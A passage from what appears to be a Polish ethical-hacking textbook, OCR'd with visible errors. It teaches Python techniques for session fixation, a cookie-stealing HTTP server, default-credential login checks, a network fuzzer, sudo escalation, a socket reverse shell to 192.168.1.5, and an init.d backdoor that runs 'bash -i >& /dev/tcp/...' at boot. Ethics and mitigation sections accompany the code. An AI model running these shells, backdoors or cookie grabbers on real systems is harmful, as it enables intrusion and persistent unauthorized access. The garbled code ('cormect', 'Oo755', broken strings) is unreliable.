Przejmowanie sesji i wykorzystywanie plików cookie za pomocą Pythona 

W tej sekcji omówimy techniki przechwytywania sesji i wykorzystywania plików cookie za pomocą 

Pythona. Przejmowanie sesji polega na wykorzystaniu prawidłowej sesji komputerowej — w której 

uwierzytelnienie zostało już wykonane — w celu uzyskania nieautoryzowanego dostępu do informacji 



lub usług w systemie. Pliki cookie, często używane do utrzymywania sesji, mogą być celem eksploatacji. 

Python, ze swoimi rozległymi bibliotekami standardowymi i modułami innych firm, służy jako 

skuteczne narzędzie do opracowywania exploitów ukierunkowanych na te luki w zabezpieczeniach. 

Zrozumienie zarządzania sesją i plików cookie 

Zarządzanie sesją ma kluczowe znaczenie w utrzymywaniu stanu i danych użytkownika w wielu 

żądaniach w aplikacjach internetowych. Sesja jest zazwyczaj inicjowana po zalogowaniu się 

użytkownika lub uwierzytelnieniu go, a następnie tworzony jest unikalny identyfikator sesji (SID). Ten 

SID musi pozostać poufny między użytkownikiem a serwerem przez cały cykl jego życia. Jednak 

ujawnienie SID może prowadzić do przejęcia sesji. Pliki cookie są często wykorzystywane do 

przechowywania SID-ów po stronie klienta. Choć wygodne, takie podejście wprowadza kilka luk, jeśli 

nie jest odpowiednio zabezpieczone. Niezaszyfrowane pliki cookie, pliki cookie bez flagi 

bezpieczeństwa lub pliki cookie podatne na Cross-Site Scripting (XSS) mogą zostać wykorzystane do 

uzyskania nieautoryzowanego dostępu. 

Narzędzia i biblioteki Pythona do eksploatacji 

Biblioteka żądań Pythona jest pomocna w obsłudze żądań HTTP i zarządzaniu sesjami. W przypadku 

bardziej wyrafinowanych ataków nieocenione są narzędzia takie jak Scapy, który może tworzyć 

niestandardowe pakiety sieciowe, oraz BeautifulSoup, do parsowania HTML i wyodrębniania plików 

cookie. PyCookieCheat to biblioteka, która może przejąć sesje poprzez odszyfrowanie plików cookie 

przeglądarki, zapewniając potężny sposób wykorzystywania luk opartych na plikach cookie. 

Wykorzystywanie fiksacji sesji za pomocą Pythona 

Ataki fiksacji sesji obejmują ustawienie przez atakującego znanego identyfikatora SID w przeglądarce 

ofiary, a następnie oczekiwanie na uwierzytelnienie ofiary. Po uwierzytelnieniu atakujący ma dostęp 

do sesji użytkownika. Aby to zademonstrować: 

1 import requests 

2  

3 victim_url = "" http://example.com/login 

4 attacker_sid = "known_sid_attacker" 

5 

6 # Set the attacker's session ID in the victim's browser 

7 cookies = {’PHPSESSID’: attacker_sid} 

8 response = requests.get(victim_url, cookies=cookies) 

9  

10 

# Post-authentication: Attacker uses the known SID to hijack the  session 

11 hijacked.session = requests.Session() 

12 hijacked_session.cookies.set(’PHPSESSID’, attacker_sid) 

13 



14 # Perform actions as the victim 

15 exploited_response = hijacked_session.get("h") 

Podrabianie i kradzież plików cookie 

Podrabianie plików cookie polega na tym, że atakujący wysyła fałszywe pliki cookie lub modyfikuje 

istniejące pliki cookie, aby podszyć się pod prawidłową sesję użytkownika. Można to osiągnąć, 

rozumiejąc strukturę plików cookie i przewidywalnie modyfikując wartości. Kradzież plików cookie 

zazwyczaj wykorzystuje luki w zabezpieczeniach XSS, aby wyodrębnić pliki cookie od ofiar. Przykład 

skryptu Pythona do przechwytywania plików cookie: 

1 import  http.server 

2 import socketserver 

3  

4 class CookieStealingHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): 

5 def do_GET(self): 

6 # Extract Cookie header 

7 cookiejheader = self.headers.get(’Cookie’) 

8 print(f"Captured Cookie: {cookie_header}") 

9 self.send_response(200) 

10 self.end_headers() 

11 

12 PORT = 8080 

13 handler = CookieStealingHTTPRequestHandler 

14 

15 with socketserver.TCPServer(("", PORT), handler) as httpd: 

16 print("Serving at port", PORT) 

17 httpd.serve_forever() 

Ten skrypt działa jak prosty serwer HTTP, który przechwytuje i wyświetla wysyłane do niego pliki 

cookie, co jest taktyką, którą można wykorzystać po nakłonieniu ofiary do odwiedzenia złośliwego 

adresu URL. 

Ograniczenia i najlepsze praktyki 

Aby ograniczyć ryzyko związane z przejęciem sesji i wykorzystaniem plików cookie, należy zastosować 

kilka środków bezpieczeństwa: 

• Używaj bezpiecznych atrybutów plików cookie HttpOnly i SameSite w celu ochrony plików cookie. 

• Używaj protokołu HTTPS do szyfrowania komunikacji, zapobiegając ujawnianiu identyfikatorów SID 

w trakcie przesyłania. 



• Regularnie regeneruj identyfikatory SID po zalogowaniu lub w odstępach czasu, aby ograniczyć 

użyteczność skradzionych identyfikatorów SID. 

• Sprawdzaj i czyść wszystkie dane wejściowe, aby ograniczyć atak XSS, który jest często 

wykorzystywany do kradzieży plików cookie. 

Rozważania etyczne 

Chociaż Python zapewnia potężne narzędzia do wykorzystywania luk w zabezpieczeniach sesji i plików 

cookie, najważniejsze są względy etyczne. Te techniki powinny być stosowane wyłącznie w kontekście 

prawnym, takim jak testy penetracyjne z wyraźną zgodą, a nie w złośliwych celach. Przejmowanie sesji 

i wykorzystywanie plików cookie stanowią poważne problemy bezpieczeństwa. Python, dzięki swoim 

wszechstronnym bibliotekom, upraszcza rozwój narzędzi do wykorzystywania tych luk. Jednak etyczne 

wykorzystanie tych technik, w połączeniu z solidnym zrozumieniem środków zaradczych, ma kluczowe 

znaczenie dla zwiększenia bezpieczeństwa aplikacji internetowych. 

Automatyzacja eksploatacji błędnych konfiguracji za pomocą Pythona 

Błędne konfiguracje w systemach sieciowych i aplikacjach mogą wprowadzać znaczące luki, 

nieumyślnie umożliwiając nieautoryzowany dostęp lub ujawnienie poufnych informacji. Python, ze 

względu na swoją prostotę i rozbudowany zestaw bibliotek, jest idealnym językiem do tworzenia 

skryptów narzędzi automatyzacji w celu identyfikacji  i eksploatacji tych błędnych konfiguracji. Ta 

sekcja wyjaśni proces automatyzacji eksploatacji typowych błędnych konfiguracji za pomocą Pythona, 

skupiając się na metodologiach wykrywania błędnych konfiguracji, tworzeniu konkretnych exploitów i 

automatyzacji tych procesów w celu zwiększenia efektywności wysiłków związanych z testowaniem 

penetracyjnym. Na początek musimy zrozumieć, że błędne konfiguracje mogą obejmować 

nieprawidłowo ustawione uprawnienia do plików, niezabezpieczone usługi sieciowe, domyślne 

poświadczenia, aż po rozwlekłe komunikaty o błędach dostarczające poufne dane. Eksploatacja tych 

błędnych konfiguracji obejmuje dwa kluczowe kroki: 

• Wykrycie błędnej konfiguracji. 

• Wykorzystanie wykrytej błędnej konfiguracji. 

Wykrywanie błędnych konfiguracji 

Pierwszym krokiem w automatyzacji eksploatacji jest identyfikacja błędnych konfiguracji. Biblioteka 

żądań Pythona jest niezwykle przydatna do oceny aplikacji internetowych, umożliwiając skryptom 

programową interakcję z usługami HTTP/HTTPS. Do analizy usług sieciowych i uprawnień można 

wykorzystać biblioteki takie jak paramiko do interakcji SSH i os do interakcji z funkcjonalnością systemu 

operacyjnego. Poniżej przedstawiono przykładowy skrypt sprawdzający domyślne poświadczenia w 

aplikacjach internetowych: 

1 import requests 

2 

3 def check_default_credentials(url, default_credentials): 

4 for user, passwd in default_credentials: 

5 response = requests.post(url, data={'username’: user, ’password’: passwd}) 

6 if "Login successful" in response.text: 



7 print(f"Default credentials found: {user}/{passwd}") 

8 break 

Ten prosty skrypt iteruje listę domyślnych poświadczeń i próbuje zalogować się do określonego adresu 

URL. Jeśli logowanie się powiedzie, oznacza to błędną konfigurację, którą można wykorzystać. 

Wykorzystanie wykrytych błędnych konfiguracji 

Po zidentyfikowaniu błędnej konfiguracji następnym krokiem jest jej wykorzystanie. Kontynuując 

przykład aplikacji internetowej, jeśli zostaną znalezione domyślne poświadczenia, atakujący może 

zautomatyzować dostęp do poufnych informacji lub funkcji w aplikacji. Rozważmy scenariusz, w 

którym rozwlekłe komunikaty o błędach ujawniają poufne ścieżki plików lub poświadczenia bazy 

danych. Takie błędne konfiguracje można wykorzystać, aby uzyskać dalszy dostęp do systemu lub bazy 

danych. Bibliotekę bs4 (Beauti- fulSoup) języka Python można wykorzystać do analizowania 

odpowiedzi HTML i wyodrębniania informacji, które mogą być przydatne w dalszej eksploatacji: 

1 import requests 

2 from bs4 import BeautifulSoup 

3 

4 response = requests.get(’) 

http://example.com/vulnerable_page’ 

5 soup = BeautifulSoup(response.text, ’html.parser’) 

6 

7 # Example of extracting sensitive information from error messages 

8 error_message = soup.find(’div', {’class': ’error'}).text 

9 print(f”Extracted error message: {error_message}") 

Do automatyzacji eksploatacji błędnych konfiguracji usług sieciowych, takich jak niezabezpieczone 

usługi lub te działające z domyślnymi poświadczeniami, pomocne mogą być gniazda Pythona lub 

paramiko (dla SSH). Biblioteki te umożliwiają tworzenie połączeń sieciowych i wykonywanie poleceń 

przez te połączenia, wykorzystując w ten sposób błędnie skonfigurowaną usługę. 

1 import paramiko 

2 

3 ssh_client = paramiko.SSHClient() 

4 ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

5 ssh_client.connect(hostname=’example.com’, username=’user’, password=’defaultpassword’) 

6 

7 stdin, stdout, stderr = ssh_client.exec_command(’id’) 

8 print(stdout.read()) 

 



W powyższym przykładzie biblioteka paramiko jest używana do łączenia się z usługą SSH działającą z 

domyślnymi poświadczeniami i wykonywania polecenia id, które może ujawnić informacje o 

użytkowniku systemu, wskazujące na pomyślne wykorzystanie. 

Strategie automatyzacji 

Automatyzacja wykorzystania błędnych konfiguracji wymaga przemyślanej strategii, która bierze pod 

uwagę zakres oceny, typy błędnych konfiguracji, których dotyczy atak, oraz końcowy cel wykorzystania. 

Automatyzacja może obejmować zarówno proste skrypty, jak pokazano powyżej, jak i bardziej złożone 

struktury, które dynamicznie identyfikują i wykorzystują szerszy zakres luk w zabezpieczeniach na 

podstawie odpowiedzi otrzymanych z docelowego systemu lub aplikacji. Podczas opracowywania 

narzędzi automatyzacji kluczowe jest włączenie mechanizmów obsługi błędów i rejestrowania w celu 

zapewnienia niezawodności narzędzia i udokumentowania procesu wykorzystania. Ponadto względy 

etyczne związane z automatyzacją działań związanych z wykorzystaniem muszą być zawsze na 

pierwszym planie, przestrzegając granic prawnych i uzyskując niezbędne uprawnienia przed 

przeprowadzeniem jakichkolwiek ocen. 

Tworzenie fuzzerów z Pythonem w celu wykrywania luk 

Fuzzing, potężna zautomatyzowana technika testowania oprogramowania, systematycznie odkrywa 

błędy kodowania i luki w zabezpieczeniach oprogramowania poprzez wprowadzanie do systemu 

ogromnych ilości losowych danych, znanych jako fuzz. Ta metoda jest szczególnie skuteczna w 

wykrywaniu luk, które mogą zostać wykorzystane w przepełnieniach bufora, atakach typu injection i 

innych złośliwych atakach. Python, z jego rozbudowaną biblioteką standardową i modułami innych 

firm, oferuje solidną platformę do tworzenia fuzzerów ukierunkowanych na wykrywanie luk. 

Podstawowa architektura fuzzera obejmuje trzy kluczowe komponenty: silnik fuzzera, generator 

danych i system monitorowania. Silnik fuzzera koordynuje cały proces fuzzera, kontrolując 

generowanie danych wejściowych i zarządzając ich dostarczaniem do oprogramowania docelowego. 

Generator danych jest odpowiedzialny za generowanie zróżnicowanych i potencjalnie wadliwych 

danych wejściowych. Na koniec system monitorujący nadzoruje zachowanie oprogramowania 

docelowego pod kątem oznak awarii, wyjątków lub innych anomalii wskazujących na lukę w 

zabezpieczeniach. 

Implementacja podstawowego fuzzera w Pythonie 

Utworzenie prostego fuzzera w Pythonie obejmuje użycie gniazd do komunikacji sieciowej oraz 

modułów os i subprocess do interakcji z lokalnymi aplikacjami. Poniższy przykład ilustruje podstawowy 

fuzzer sieciowy skierowany na hipotetyczną aplikację internetową: 

 

1 import socket 

2 

3 def fuzz(target_address, target_port, payload): 

4 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 

5 s.cormect((target_address, target_port)) 

6 s.sendall(payload.encode(’utf-8’)) 

7 response = s.recv( 1024) 



8 print(f"Received: {response.decode(’utf-8’)}") 

9  

10 if_name_== "__main_ 

11 target_address ='192.168.1.100' 

12 target_port = 80 

13 payload = "A" * 1000 # Example pay load 

14 fuzz(target_address, target_port, payload) 

 

Ten prymitywny fuzzer próbuje przeciążyć aplikację docelową, wysyłając ładunek składający się z 1000 

znaków „A”. Celem jest obserwacja, w jaki sposób aplikacja obsługuje nadmierne lub nieprzewidziane 

dane wejściowe, potencjalnie odkrywając luki w zabezpieczeniach związane z przepełnieniem bufora. 

Rozwijanie możliwości fuzzera 

Aby zwiększyć skuteczność fuzzera, rozważ strategie dynamicznego generowania danych, które 

generują szeroki zakres danych wejściowych do testów. Można to ułatwić za pomocą bibliotek 

Pythona, takich jak Fuzzy, które umożliwiają konfigurację i używanie bardziej wyrafinowanych 

wzorców fuzzingu. Automatyzacja wdrażania zróżnicowanych ładunków nie tylko zwiększa szansę na 

wykrycie luk w zabezpieczeniach, ale także oszczędza znaczną ilość czasu w procesie testowania. 

Monitorowanie zachowania systemu ma kluczowe znaczenie w identyfikowaniu luk w 

zabezpieczeniach. Moduł podprocesu Pythona można wykorzystać do obserwacji zachowania 

lokalnych aplikacji, przechwytywania standardowych strumieni wyjściowych i błędów, a także 

wykrywania nieoczekiwanych zakończeń aplikacji. W przypadku aplikacji sieciowych włączenie 

mechanizmów limitu czasu i śledzenie anomalii odpowiedzi może pomóc w rozpoznawaniu 

nieobsługiwanych warunków wejściowych. 

Rozważania prawne i etyczne 

Chociaż fuzzing jest skuteczną techniką testowania bezpieczeństwa, konieczne jest działanie w 

granicach prawnych i etycznych. Nieautoryzowane testowanie oprogramowania lub systemów może 

prowadzić do reperkusji prawnych. Zawsze upewnij się, że masz wyraźne pozwolenie na testowanie 

systemów docelowych. Ponadto rozważ wpływ działań fuzzingowych na wydajność systemu i 

doświadczenia użytkownika, szczególnie w środowiskach produkcyjnych. Fuzzing jest kluczowym 

elementem kompleksowej strategii testowania bezpieczeństwa. Opracowywanie fuzzerów z 

wykorzystaniem języka Python wyposaża specjalistów ds. cyberbezpieczeństwa w potężne narzędzie 

do odkrywania i ostatecznie łagodzenia potencjalnych luk w zabezpieczeniach. Podobnie jak w 

przypadku wszystkich narzędzi bezpieczeństwa, fuzzing należy przeprowadzać w sposób 

odpowiedzialny, z poszanowaniem prywatności, legalności i integralności systemu. 

Post-eksploatacja: gromadzenie danych i utrzymywanie dostępu 

Post-eksploatacja odnosi się do działań wykonywanych przez etycznego hakera po pomyślnym 

wykorzystaniu luki w zabezpieczeniach systemu. Działania te często mają na celu pogłębienie dostępu, 

rozszerzenie kontroli w sieci, gromadzenie poufnych danych i zapewnienie trwałego dostępu do 

przyszłej eksploracji bez wykrycia. Python, ze względu na swoją prostotę i rozległą kolekcję bibliotek, 

zapewnia niezwykłą platformę do skutecznego przeprowadzania tych działań post-eksploatacyjnych. 



Pogłębianie dostępu 

Po uzyskaniu początkowego dostępu kluczowe jest eskalowanie uprawnień, aby uzyskać większą 

kontrolę nad systemem. W Pythonie można użyć modułów os i subprocess do wykonywania poleceń 

systemowych i skryptów, które ułatwiają eskalację uprawnień. Na przykład: 

 

1 import os 

2 import subprocess 

3 

4 # Attempt togain superuser access 

5 os.system(’sudo su’) 

6  

7 # Run a command as superuser 

8 subprocess.run([’sudo’, 'id']) 

 

Rozszerzanie kontroli w sieci 

Po zabezpieczeniu przyczółka na pojedynczej maszynie, następnym krokiem jest rozprzestrzenianie się 

w sieci. Bibliotekę gniazd Pythona można wykorzystać do tworzenia odwrotnych powłok lub tylnych 

drzwi, umożliwiając zdalną kontrolę nad zagrożonymi systemami. 

1 import socket 

2  

3 def create_reverse_shell(target_ip, target_port): 

4 s = socket. socket(socket.AF_INET, socket.SOCK_STREAM) 

5 s.connect((target_ip, target_port)) 

6 s.sendall(b'Connected’) 

7 while True: 

8 command = s.recv(1024).decode(’utf-8’) 

9 if command.lowerO =='exit': 

10 break 

11 output = subprocess.check_output(command, shell=True) 

12 s.sendall(output) 

13 s.closeO 

14  



15 create_reverse_shell(’192.168.1.5’, 5555) 

Gromadzenie wrażliwych danych 

Gromadzenie wrażliwych informacji jest często głównym celem post-eksploatacji. Python ułatwia to za 

pomocą bibliotek, takich jak beautifulsoup4 do scrapowania danych internetowych i pandas do 

przetwarzania i analizowania zestawów danych. 

1 from bs4 import BeautifulSoup 

2 import requests 

3 

4 URL = ' http://example.com/profile' 

5 page = requests.get(URL) 

6 soup = BeautifulSoup(page.content, 'html.parser') 

7  

8 # Extracting sensitive user information 

9 user_details = soup.find(id='user-details’) 

10 print(user_details.text) 

 

Utrzymywanie stałego dostępu 

Utrzymywanie dostępu polega na zapewnieniu, że etyczny haker może ponownie wejść do systemu, 

kiedy zechce, niezauważony i bez konieczności ponownego wykorzystywania luki. Można to osiągnąć, 

wdrażając trwały skrypt backdoor, który uruchamia się wraz z systemem. 

1import os 

2  

3 def create_persistent_backdoor(): 

4 backdoor_path = ’/etc/init.d/backdoor’ 

5 with open(backdoor_path, 'w') as file: 

6 file.write(’#'/bin/bash\n') 

7 file.write(7bin/bash -i >& /dev/tcp/192.168.1.5/5 555 0>&l\n’) 

8 os.chmod(backdoor_path, Oo755) 

9 os.system(’update-rc.d backdoor defaults’) 

10 

11 create_persistent_backdoor() 

 



Rozważania etyczne i prawne 

Podczas prowadzenia działań poeksploatacyjnych etyczni hakerzy muszą zachować czujność w kwestii 

wytycznych etycznych i prawnych regulujących ich działania. Najważniejsze jest upewnienie się, że 

wszystkie podejmowane działania są autoryzowane i mieszczą się w zakresie uzgodnionej oceny. 

Ekstrakcja i przechowywanie poufnych danych muszą być obsługiwane ostrożnie, zapewniając, że 

prywatność i poufność informacji nie zostaną naruszone. Podsumowując, faza poeksploatacyjna to 

moment, w którym etyczni hakerzy umacniają swoją obecność w systemie, zbierają krytyczne dane i 

kładą podwaliny pod przyszłe testy. Wszechstronne biblioteki Pythona i łatwość użytkowania 

sprawiają, że jest to niezbędne narzędzie w arsenale etycznego hakera do wydajnego i skutecznego 

wykonywania tych zadań. 

Rozważania etyczne i prawne implikacje eksploatacji 

Etyczne hakowanie, przeprowadzane w celu poprawy postawy bezpieczeństwa systemów, sieci i 

aplikacji, zajmuje kluczowy obszar w cyberbezpieczeństwie. Jednak granica między etycznym 

hakowaniem a złośliwym hakowaniem może często wydawać się cienka, szczególnie z perspektywy 

prawnej i etycznej. W tej sekcji omówiono rozważania etyczne i prawne implikacje związane z 

procesem wykorzystywania luk w zabezpieczeniach przy użyciu Pythona lub innych narzędzi. 

Zrozumienie etycznego hakowania 

Etyczne hakowanie obejmuje metodyczny proces identyfikowania, testowania i zgłaszania luk w 

zabezpieczeniach systemu, za wyraźną zgodą właściciela systemu. Ta zgoda jest kluczowym czynnikiem 

różnicującym etyczne hakowanie od nieautoryzowanego hakowania. Etyczni hakerzy muszą mieć 

wyraźną, udokumentowaną zgodę przed przeprowadzeniem jakichkolwiek testów lub działań 

eksploatacyjnych. Bez tej zgody wszelkie podjęte działania mogą zostać uznane za nielegalne, co może 

prowadzić do potencjalnych kar cywilnych i karnych. 

Ramy prawne regulujące etyczne hakowanie 

Kilka międzynarodowych i krajowych ustaw szczegółowo odnosi się do hakowania i 

cyberprzestępczości. Ustawy te często podkreślają, że nieautoryzowany dostęp do systemów 

komputerowych jest przestępstwem. Na przykład ustawa o oszustwach komputerowych i nadużyciach 

(CFAA) w Stanach Zjednoczonych ustanawia kary za nieautoryzowany dostęp do systemów 

komputerowych. Podobnie, przepisy o ochronie danych w wielu jurysdykcjach, takie jak ogólne 

rozporządzenie o ochronie danych (GDPR) w Unii Europejskiej, nakładają surowe wymagania na 

przetwarzanie danych osobowych, wpływając na sposób zgłaszania i usuwania luk związanych z 

ujawnieniem danych. Etyczni hakerzy muszą być w pełni świadomi tych ram prawnych i przestrzegać 

ich. Nieznajomość prawa nie jest obroną, a etyczni hakerzy muszą upewnić się, że ich działania nie 

przekroczą przypadkowo granic prawnych. Wiąże się to z koniecznością pozostawania na bieżąco ze 

zmianami prawnymi i rozumienia, w jaki sposób te przepisy mają zastosowanie do ich działań. 

Unikanie potencjalnego niewłaściwego wykorzystania wykorzystanych informacji 

Podczas wykorzystywania luk etyczni hakerzy mogą natrafić na poufne informacje. Ich etycznym 

obowiązkiem jest odpowiedzialne obchodzenie się z takimi informacjami. Informacje uzyskane z 

działań eksploatacyjnych powinny być wykorzystywane wyłącznie do wykazania obecności podatności 

właścicielowi systemu i nie powinny być ujawniane publicznie bez jego zgody. Ponadto etyczni hakerzy 

muszą upewnić się, że nie wykorzystują podatności poza tym, co jest konieczne do przetestowania 

obronności systemu, unikając wszelkich działań, które mogłyby zaszkodzić systemowi lub jego 

użytkownikom. 



Raportowanie i ujawnianie 

Sposób, w jaki zgłaszane i ujawniane są luki w zabezpieczeniach, to kolejny krytyczny aspekt etyczny. 

Etyczni hakerzy powinni przygotowywać przejrzyste, szczegółowe raporty opisujące znalezione luki w 

zabezpieczeniach, metody ich wykorzystania oraz zalecenia dotyczące naprawy. Raporty te powinny 

być przedstawiane właścicielowi systemu w terminowy i bezpieczny sposób. Decyzja o publicznym 

ujawnieniu luki w zabezpieczeniach jest złożona i należy do niej podchodzić ostrożnie. Podczas gdy 

publiczne ujawnienie może wywierać presję na dostawców lub właścicieli, aby szybciej łatali luki w 

zabezpieczeniach, może również ostrzegać złośliwych aktorów o istnieniu podatnej na wykorzystanie 

słabości. Skoordynowane ujawnienie, w którym etyczny haker i właściciel systemu zgadzają się na 

harmonogram łatania luki w zabezpieczeniach i udostępniania informacji, jest często postrzegane jako 

zrównoważone podejście. 

Przestrzeganie standardów etycznych 

Na koniec etyczni hakerzy muszą przestrzegać ustalonych standardów etycznych. Obejmuje to 

poszanowanie prywatności i integralności testowanych systemów, minimalizowanie zakłóceń podczas 

testowania i unikanie wszelkich działań, które mogłyby być postrzegane jako szantaż (np. groźby 

ujawnienia luk w zabezpieczeniach w przypadku braku rekompensaty). Organizacje zawodowe, takie 

jak Information Systems Security Certification Consortium (ISC)2 i International Council of E-Commerce 

Consultants (EC-Council), oferują certyfikaty, takie jak Certified Information Systems Security 

Professional (CISSP) i Certified Ethical Hacker (CEH), które obejmują kodeksy etyki, których 

certyfikowani profesjonaliści zgadzają się przestrzegać. 

Przecięcie się etycznego hakowania i prawa jest naznaczone szeregiem kwestii, które etyczni hakerzy 

muszą ostrożnie poruszać. Przestrzegając wymogów prawnych, standardów etycznych i najlepszych 

praktyk w zakresie odpowiedzialnego ujawniania informacji, etyczni hakerzy mogą zapewnić, że ich 

praca przyczynia się pozytywnie do bezpieczeństwa systemów informatycznych bez wkraczania na 

terytorium etycznie lub prawnie wątpliwe. 

 


